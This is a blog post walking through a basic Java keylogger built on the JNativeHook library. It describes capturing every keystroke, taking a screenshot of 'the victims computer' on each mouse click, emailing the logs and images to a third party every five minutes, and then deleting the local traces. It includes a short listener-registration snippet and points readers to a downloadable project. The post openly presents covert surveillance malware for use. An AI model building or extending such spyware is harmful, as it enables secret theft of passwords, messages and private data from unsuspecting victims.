38. Basic Java Keylogger

This subject is not belongs to the speech recognition system.But I'll show you about a project which I have made.

This is a keylogger project , as you know what it does is , keep a log of every key strokes which we made in the computer & send those details to a third party by given email or any other way.

As you know it is not practical to  make a virus or a hacking gadget using Java , as we are not able to use windows system resources as like C or C++ & C#.

So how can we make a keylogger by using Java.There is one way , we can use an API which has written by C or C++ with Java to do this task.

In this case we are using a Java library called JNativeHook .By using this API we can access the system resources in Java.

Okay lets see how we can make a basic keylogger program.My idea is to send keyboard strokes + screenshots of the victims computer to a given mail address.

I'm using Netbeans IDE to make this program.And we need to import below APIs to our project(these APIs are available in download page). 

  • JNativeHook.jar
  • Mail.jar
  • Activation.jar  

The basic operation in this keylogger as below. 

  • Capture all the keyboard strokes(characters) & save those in a text file.
  • Take screenshots in every mouse clicks & save those in a folder.
  • In every 5 minutes , send all the keyboard strokes text files + all the screenshots to the given mail address.
  • After sending the mail delete all the text files & screenshots.
  • When the program starting , checking for unattended screenshots & text files.If there are some , send those to the given email address & delete those files.

Now I'll show you about every method which do the each process.

To do this , first we need to register the JNativeHook API

try {

                GlobalScreen.getInstance().addNativeKeyListener(new Keyboard());
                GlobalScreen.getInstance().addNativeMouseListener(new Keyboard());

            } catch (NativeHookException e) {


Then need to implement the keyboard key pressed method to capture the strokes.And it is like below (click the link).

Then we need to implement the method to take screenshots whenever click the mouse.And it is like below (click the link).

 Then we need to mail all the data.And it is like below(click the link)

These are the basic methods which uses in the keylogger program.You can download the keylogger project from the Download page.

Please watch below videos for more information.

In next post I'll update you about next new function which I added to the system. 



Post a Comment